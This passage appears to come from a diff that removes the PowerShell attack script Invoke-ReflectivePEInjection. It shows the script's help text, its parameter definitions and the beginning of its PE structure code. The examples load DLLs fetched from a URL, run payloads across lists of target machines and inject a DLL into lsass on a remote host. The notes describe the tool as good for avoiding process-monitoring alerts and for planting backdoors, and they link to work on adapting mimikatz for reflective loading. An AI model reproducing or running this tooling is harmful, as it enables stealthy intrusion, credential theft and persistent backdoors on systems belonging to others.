- Reflectively loads a Windows PE file (DLL/EXE) in to the powershell process, or reflectively injects a DLL in to a remote process.
43
-
44
- .PARAMETER PEPath
45
-
46
- The path of the DLL/EXE to load and execute. This file must exist on the computer the script is being run on, not the remote computer.
47
-
48
- .PARAMETER PEUrl
49
-
50
- A URL containing a DLL/EXE to load and execute.
51
-
52
- .PARAMETER PEBytes
53
-
54
- A byte array containing a DLL/EXE to load and execute.
55
-
56
- .PARAMETER ComputerName
57
-
58
- Optional, an array of computernames to run the script on.
59
-
60
- .PARAMETER FuncReturnType
61
-
62
- Optional, the return type of the function being called in the DLL. Default: Void
63
- Options: String, WString, Void. See notes for more information.
64
- IMPORTANT: For DLLs being loaded remotely, only Void is supported.
65
-
66
- .PARAMETER ExeArgs
67
-
68
- Optional, arguments to pass to the executable being reflectively loaded.
69
-
70
- .PARAMETER ProcName
71
-
72
- Optional, the name of the remote process to inject the DLL in to. If not injecting in to remote process, ignore this.
73
-
74
- .PARAMETER ProcId
75
-
76
- Optional, the process ID of the remote process to inject the DLL in to. If not injecting in to remote process, ignore this.
77
-
78
- .PARAMETER ForceASLR
79
-
80
- Optional, will force the use of ASLR on the PE being loaded even if the PE indicates it doesn't support ASLR. Some PE's will work with ASLR even
81
- if the compiler flags don't indicate they support it. Other PE's will simply crash. Make sure to test this prior to using. Has no effect when
82
- loading in to a remote process.
83
-
84
- .EXAMPLE
85
-
86
- Load DemoDLL from a URL and run the exported function WStringFunc on the current system, print the wchar_t* returned by WStringFunc().
87
- Note that the file name on the website can be any file extension.
88
- Invoke-ReflectivePEInjection -PEUrl http://yoursite.com/DemoDLL.dll -FuncReturnType WString
89
-
90
- .EXAMPLE
91
-
92
- Load DemoDLL and run the exported function WStringFunc on Target.local, print the wchar_t* returned by WStringFunc().
93
- Invoke-ReflectivePEInjection -PEPath DemoDLL.dll -FuncReturnType WString -ComputerName Target.local
94
-
95
- .EXAMPLE
96
-
97
- Load DemoDLL and run the exported function WStringFunc on all computers in the file targetlist.txt. Print
98
- the wchar_t* returned by WStringFunc() from all the computers.
99
- Invoke-ReflectivePEInjection -PEPath DemoDLL.dll -FuncReturnType WString -ComputerName (Get-Content targetlist.txt)
100
-
101
- .EXAMPLE
102
-
103
- Load DemoEXE and run it locally.
104
- Invoke-ReflectivePEInjection -PEPath DemoEXE.exe -ExeArgs "Arg1 Arg2 Arg3 Arg4"
105
-
106
- .EXAMPLE
107
-
108
- Load DemoEXE and run it locally. Forces ASLR on for the EXE.
109
- Invoke-ReflectivePEInjection -PEPath DemoEXE.exe -ExeArgs "Arg1 Arg2 Arg3 Arg4" -ForceASLR
110
-
111
- .EXAMPLE
112
-
113
- Refectively load DemoDLL_RemoteProcess.dll in to the lsass process on a remote computer.
114
- Invoke-ReflectivePEInjection -PEPath DemoDLL_RemoteProcess.dll -ProcName lsass -ComputerName Target.Local
115
-
116
- .EXAMPLE
117
-
118
- Load a PE from a byte array.
119
- Invoke-ReflectivePEInjection -PEPath (Get-Content c:\DemoEXE.exe -Encoding Byte) -ExeArgs "Arg1 Arg2 Arg3 Arg4"
120
-
121
- .NOTES
122
- GENERAL NOTES:
123
- The script has 3 basic sets of functionality:
124
- 1.) Reflectively load a DLL in to the PowerShell process
125
- -Can return DLL output to user when run remotely or locally.
126
- -Cleans up memory in the PS process once the DLL finishes executing.
127
- -Great for running pentest tools on remote computers without triggering process monitoring alerts.
128
- -By default, takes 3 function names, see below (DLL LOADING NOTES) for more info.
129
- 2.) Reflectively load an EXE in to the PowerShell process.
130
- -Can NOT return EXE output to user when run remotely. If remote output is needed, you must use a DLL. CAN return EXE output if run locally.
131
- -Cleans up memory in the PS process once the DLL finishes executing.
132
- -Great for running existing pentest tools which are EXE's without triggering process monitoring alerts.
133
- 3.) Reflectively inject a DLL in to a remote process.
134
- -Can NOT return DLL output to the user when run remotely OR locally.
135
- -Does NOT clean up memory in the remote process if/when DLL finishes execution.
136
- -Great for planting backdoor on a system by injecting backdoor DLL in to another processes memory.
137
- -Expects the DLL to have this function: void VoidFunc(). This is the function that will be called after the DLL is loaded.
138
-
139
-
140
-
141
- DLL LOADING NOTES:
142
-
143
- PowerShell does not capture an applications output if it is output using stdout, which is how Windows console apps output.
144
- If you need to get back the output from the PE file you are loading on remote computers, you must compile the PE file as a DLL, and have the DLL
145
- return a char* or wchar_t*, which PowerShell can take and read the output from. Anything output from stdout which is run using powershell
146
- remoting will not be returned to you. If you just run the PowerShell script locally, you WILL be able to see the stdout output from
147
- applications because it will just appear in the console window. The limitation only applies when using PowerShell remoting.
148
-
149
- For DLL Loading:
150
- Once this script loads the DLL, it calls a function in the DLL. There is a section near the bottom labeled "YOUR CODE GOES HERE"
151
- I recommend your DLL take no parameters. I have prewritten code to handle functions which take no parameters are return
152
- the following types: char*, wchar_t*, and void. If the function returns char* or wchar_t* the script will output the
153
- returned data. The FuncReturnType parameter can be used to specify which return type to use. The mapping is as follows:
154
- wchar_t* : FuncReturnType = WString
155
- char* : FuncReturnType = String
156
- void : Default, don't supply a FuncReturnType
157
-
158
- For the whcar_t* and char_t* options to work, you must allocate the string to the heap. Don't simply convert a string
159
- using string.c_str() because it will be allocaed on the stack and be destroyed when the DLL returns.
160
-
161
- The function name expected in the DLL for the prewritten FuncReturnType's is as follows:
162
- WString : WStringFunc
163
- String : StringFunc
164
- Void : VoidFunc
165
-
166
- These function names ARE case sensitive. To create an exported DLL function for the wstring type, the function would
167
- be declared as follows:
168
- extern "C" __declspec( dllexport ) wchar_t* WStringFunc()
169
-
170
-
171
- If you want to use a DLL which returns a different data type, or which takes parameters, you will need to modify
172
- this script to accomodate this. You can find the code to modify in the section labeled "YOUR CODE GOES HERE".
173
-
174
- Find a DemoDLL at: https://github.com/clymb3r/PowerShell/tree/master/Invoke-ReflectiveDllInjection
175
-
176
- .LINK
177
-
178
- Blog: http://clymb3r.wordpress.com/
179
- Github repo: https://github.com/clymb3r/PowerShell/tree/master/Invoke-ReflectivePEInjection
180
-
181
- Blog on reflective loading: http://clymb3r.wordpress.com/2013/04/06/reflective-dll-injection-with-powershell/
182
- Blog on modifying mimikatz for reflective loading: http://clymb3r.wordpress.com/2013/04/09/modifying-mimikatz-to-be-loaded-using-invoke-reflectivedllinjection-ps1/
183
- Blog on using this script as a backdoor with SQL server: http://www.casaba.com/blog/
184
-
185
- #>
186
-
187
- [CmdletBinding(DefaultParameterSetName="WebFile")]
188
- Param(
189
- [Parameter(ParameterSetName = "LocalFile", Position = 0, Mandatory = $true)]
190
- [String]
191
- $PEPath,
192
-
193
- [Parameter(ParameterSetName = "WebFile", Position = 0, Mandatory = $true)]
194
- [Uri]
195
- $PEUrl,
196
-
197
- [Parameter(ParameterSetName = "Bytes", Position = 0, Mandatory = $true)]
198
- [ValidateNotNullOrEmpty()]
199
- [Byte[]]
200
- $PEBytes,
201
-
202
- [Parameter(Position = 1)]
203
- [String[]]
204
- $ComputerName,
205
-
206
- [Parameter(Position = 2)]
207
- [ValidateSet( 'WString', 'String', 'Void' )]
208
- [String]
209
- $FuncReturnType = 'Void',
210
-
211
- [Parameter(Position = 3)]
212
- [String]
213
- $ExeArgs,
214
-
215
- [Parameter(Position = 4)]
216
- [Int32]
217
- $ProcId,
218
-
219
- [Parameter(Position = 5)]
220
- [String]
221
- $ProcName,
222
-
223
- [Parameter(Position = 6)]
224
- [Switch]
225
- $ForceASLR,
226
-
227
- [Parameter(Position = 7)]
228
- $Credential
229
- )
230
-
231
- Set-StrictMode -Version 2
232
-
233
-
234
- $RemoteScriptBlock = {
235
- [CmdletBinding()]
236
- Param(
237
- [Parameter(Position = 0, Mandatory = $true)]
238
- [Byte[]]
239
- $PEBytes,
240
-
241
- [Parameter(Position = 1, Mandatory = $true)]
242
- [String]
243
- $FuncReturnType,
244
-
245
- [Parameter(Position = 2, Mandatory = $true)]
246
- [Int32]
247
- $ProcId,
248
-
249
- [Parameter(Position = 3, Mandatory = $true)]
250
- [String]
251
- $ProcName,
252
-
253
- [Parameter(Position = 4, Mandatory = $true)]
254
- [Bool]
255
- $ForceASLR
256
- )
257
-
258
- ###################################
259
- ########## Win32 Stuff ##########
260
- ###################################
261
- Function Get-Win32Types
262
- {
263
- $Win32Types = New-Object System.Object
264
-
265
- #Define all the structures/enums that will be used
266
- # This article shows you how to do this with reflection: http://www.exploit-monday.com/2012/07/structs-and-enums-using-reflection.html
267
- $Domain = [AppDomain]::CurrentDomain
268
- $DynamicAssembly = New-Object System.Reflection.AssemblyName('DynamicAssembly')
269
- $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynamicAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
270
- $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('DynamicModule', $false)
271
- $ConstructorInfo = [System.Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0]
272
-
273
-
274
- ############ ENUM ############
275
- #Enum MachineType
276
- $TypeBuilder = $ModuleBuilder.DefineEnum('MachineType', 'Public', [UInt16])
277
- $TypeBuilder.DefineLiteral('Native', [UInt16] 0) | Out-Null
278
- $TypeBuilder.DefineLiteral('I386', [UInt16] 0x014c) | Out-Null
279
- $TypeBuilder.DefineLiteral('Itanium', [UInt16] 0x0200) | Out-Null
280
- $TypeBuilder.DefineLiteral('x64', [UInt16] 0x8664) | Out-Null
281
- $MachineType = $TypeBuilder.CreateType()
282
- $Win32Types | Add-Member -MemberType NoteProperty -Name MachineType -Value $MachineType
283
-
284
- #Enum MagicType
285
- $TypeBuilder = $ModuleBuilder.DefineEnum('MagicType', 'Public', [UInt16])
286
- $TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR32_MAGIC', [UInt16] 0x10b) | Out-Null
287
- $TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR64_MAGIC', [UInt16] 0x20b) | Out-Null
288
- $MagicType = $TypeBuilder.CreateType()
289
- $Win32Types | Add-Member -MemberType NoteProperty -Name MagicType -Value $MagicType
290
-
291
- #Enum SubSystemType
292
- $TypeBuilder = $ModuleBuilder.DefineEnum('SubSystemType', 'Public', [UInt16])
293
- $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_UNKNOWN', [UInt16] 0) | Out-Null
294
- $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_NATIVE', [UInt16] 1) | Out-Null
295
- $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_GUI', [UInt16] 2) | Out-Null
296
- $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CUI', [UInt16] 3) | Out-Null
297
- $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_POSIX_CUI', [UInt16] 7) | Out-Null
298
- $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CE_GUI', [UInt16] 9) | Out-Null
299
- $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_APPLICATION', [UInt16] 10) | Out-Null
300
- $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_BOOT_SERVICE_DRIVER', [UInt16] 11) | Out-Null
301
- $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_RUNTIME_DRIVER', [UInt16] 12) | Out-Null
302
- $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_ROM', [UInt16] 13) | Out-Null
303
- $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_XBOX', [UInt16] 14) | Out-Null
304
- $SubSystemType = $TypeBuilder.CreateType()
305
- $Win32Types | Add-Member -MemberType NoteProperty -Name SubSystemType -Value $SubSystemType
306
-
307
- #Enum DllCharacteristicsType
308
- $TypeBuilder = $ModuleBuilder.DefineEnum('DllCharacteristicsType', 'Public', [UInt16])
309
- $TypeBuilder.DefineLiteral('RES_0', [UInt16] 0x0001) | Out-Null
310
- $TypeBuilder.DefineLiteral('RES_1', [UInt16] 0x0002) | Out-Null
311
- $TypeBuilder.DefineLiteral('RES_2', [UInt16] 0x0004) | Out-Null
312
- $TypeBuilder.DefineLiteral('RES_3', [UInt16] 0x0008) | Out-Null
313
- $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE', [UInt16] 0x0040) | Out-Null
314
- $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_FORCE_INTEGRITY', [UInt16] 0x0080) | Out-Null
315
- $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_NX_COMPAT', [UInt16] 0x0100) | Out-Null
316
- $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_ISOLATION', [UInt16] 0x0200) | Out-Null
317
- $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_SEH', [UInt16] 0x0400) | Out-Null
318
- $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_BIND', [UInt16] 0x0800) | Out-Null
319
- $TypeBuilder.DefineLiteral('RES_4', [UInt16] 0x1000) | Out-Null
320
- $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_WDM_DRIVER', [UInt16] 0x2000) | Out-Null
321
- $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE', [UInt16] 0x8000) | Out-Null
322
- $DllCharacteristicsType = $TypeBuilder.CreateType()
323
- $Win32Types | Add-Member -MemberType NoteProperty -Name DllCharacteristicsType -Value $DllCharacteristicsType
324
-
325
- ########### STRUCT ###########
326
- #Struct IMAGE_DATA_DIRECTORY
327
- $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit'
328
- $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DATA_DIRECTORY', $Attributes, [System.ValueType], 8)
329
- ($TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public')).SetOffset(0) | Out-Null
330
- ($TypeBuilder.DefineField('Size', [UInt32], 'Public')).SetOffset(4) | Out-Null
331
- $IMAGE_DATA_DIRECTORY = $TypeBuilder.CreateType()
332
- $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DATA_DIRECTORY -Value $IMAGE_DATA_DIRECTORY
333
-
334
- #Struct IMAGE_FILE_HEADER
335
- $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
336
- $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_FILE_HEADER', $Attributes, [System.ValueType], 20)
337
- $TypeBuilder.DefineField('Machine', [UInt16], 'Public') | Out-Null
338
- $TypeBuilder.DefineField('NumberOfSections', [UInt16], 'Public') | Out-Null
339
- $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null
340
- $TypeBuilder.DefineField('PointerToSymbolTable', [UInt32], 'Public') | Out-Null
341
- $TypeBuilder.DefineField('NumberOfSymbols', [UInt32], 'Public') | Out-Null
342
- $TypeBuilder.DefineField('SizeOfOptionalHeader', [UInt16], 'Public') | Out-Null
343
- $TypeBuilder.DefineField('Characteristics', [UInt16], 'Public') | Out-Null
344
- $IMAGE_FILE_HEADER = $TypeBuilder.CreateType()
345
- $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_HEADER -Value $IMAGE_FILE_HEADER
346
-
347
- #Struct IMAGE_OPTIONAL_HEADER64
348
- $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit'
349
- $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER64', $Attributes, [System.ValueType], 240)
350
- ($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null
351
- ($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null
352
- ($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null
353
- ($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null
354
- ($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null
355
- ($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null
356
- ($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null
357
- ($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null
358
- ($TypeBuilder.DefineField('ImageBase', [UInt64], 'Public')).SetOffset(24) | Out-Null
359
- ($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null
360
- ($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null
361
- ($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null
362
- ($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null
363
- ($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null
364
- ($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null
365
- ($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null
366
- ($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null
367
- ($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null
368
- ($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null
369
- ($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null
370
- ($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null
371
- ($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null
372
- ($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null
373
- ($TypeBuilder.DefineField('SizeOfStackReserve', [UInt64], 'Public')).SetOffset(72) | Out-Null
374
- ($TypeBuilder.DefineField('SizeOfStackCommit', [UInt64], 'Public')).SetOffset(80) | Out-Null
375
- ($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt64], 'Public')).SetOffset(88) | Out-Null
376
- ($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt64], 'Public')).SetOffset(96) | Out-Null
377
- ($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(104) | Out-Null
378
- ($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(108) | Out-Null
379
- ($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null
380
- ($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null
381
- ($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null
382
- ($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null
383
- ($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null
384
- ($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null
385
- ($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null
386
- ($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null
387
- ($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null
388
- ($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null
389
- ($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null
390
- ($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null
391
- ($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null
392
- ($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null
393
- ($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(224) | Out-Null
394
- ($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(232) | Out-Null
395
- $IMAGE_OPTIONAL_HEADER64 = $TypeBuilder.CreateType()
396
- $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER64 -Value $IMAGE_OPTIONAL_HEADER64
397
-
398
- #Struct IMAGE_OPTIONAL_HEADER32
399
- $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit'
400
- $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER32', $Attributes, [System.ValueType], 224)
401
- ($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null
402
- ($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null
403
- ($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null
404
- ($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null
405
- ($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null
406
- ($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null
407
- ($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null
408
- ($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null
409
- ($TypeBuilder.DefineField('BaseOfData', [UInt32], 'Public')).SetOffset(24) | Out-Null
410
- ($TypeBuilder.DefineField('ImageBase', [UInt32], 'Public')).SetOffset(28) | Out-Null
411
- ($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null
412
- ($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null
413
- ($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null
414
- ($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null
415
- ($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null
416
- ($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null
417
- ($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null
418
- ($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null
419
- ($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null
420
- ($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null
421
- ($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null
422
- ($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null
423
- ($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null
424
- ($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null
425
- ($TypeBuilder.DefineField('SizeOfStackReserve', [UInt32], 'Public')).SetOffset(72) | Out-Null
426
- ($TypeBuilder.DefineField('SizeOfStackCommit', [UInt32], 'Public')).SetOffset(76) | Out-Null
427
- ($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt32], 'Public')).SetOffset(80) | Out-Null
428
- ($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt32], 'Public')).SetOffset(84) | Out-Null
429
- ($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(88) | Out-Null
430
- ($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(92) | Out-Null
431
- ($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(96) | Out-Null
432
- ($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(104) | Out-Null
433
- ($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null
434
- ($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null
435
- ($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null
436
- ($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null
437
- ($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null
438
- ($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null
439
- ($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null
440
- ($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null
441
- ($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null
442
- ($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null
443
- ($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null
444
- ($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null
445
- ($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null
446
- ($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null
447
- $IMAGE_OPTIONAL_HEADER32 = $TypeBuilder.CreateType()
448
- $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER32 -Value $IMAGE_OPTIONAL_HEADER32
449
-
450
- #Struct IMAGE_NT_HEADERS64
451
- $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
452
- $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS64', $Attributes, [System.ValueType], 264)
453
- $TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null
454
- $TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null
455
- $TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER64, 'Public') | Out-Null
456
- $IMAGE_NT_HEADERS64 = $TypeBuilder.CreateType()
457
- $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS64 -Value $IMAGE_NT_HEADERS64
458
-
459
- #Struct IMAGE_NT_HEADERS32
460
- $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
461
- $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS32', $Attributes, [System.ValueType], 248)
462
- $TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null
463
- $TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null
464
- $TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER32, 'Public') | Out-Null
465
- $IMAGE_NT_HEADERS32 = $TypeBuilder.CreateType()
466
- $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS32 -Value $IMAGE_NT_HEADERS32
467
-
468
- #Struct IMAGE_DOS_HEADER
469
- $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
470
- $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DOS_HEADER', $Attributes, [System.ValueType], 64)
471
- $TypeBuilder.DefineField('e_magic', [UInt16], 'Public') | Out-Null
472
- $TypeBuilder.DefineField('e_cblp', [UInt16], 'Public') | Out-Null
473
- $TypeBuilder.DefineField('e_cp', [UInt16], 'Public') | Out-Null
474
- $TypeBuilder.DefineField('e_crlc', [UInt16], 'Public') | Out-Null
475
- $TypeBuilder.DefineField('e_cparhdr', [UInt16], 'Public') | Out-Null
476
- $TypeBuilder.DefineField('e_minalloc', [UInt16], 'Public') | Out-Null
477
- $TypeBuilder.DefineField('e_maxalloc', [UInt16], 'Public') | Out-Null
478
- $TypeBuilder.DefineField('e_ss', [UInt16], 'Public') | Out-Null
479
- $TypeBuilder.DefineField('e_sp', [UInt16], 'Public') | Out-Null
480
- $TypeBuilder.DefineField('e_csum', [UInt16], 'Public') | Out-Null
481
- $TypeBuilder.DefineField('e_ip', [UInt16], 'Public') | Out-Null
482
- $TypeBuilder.DefineField('e_cs', [UInt16], 'Public') | Out-Null
483
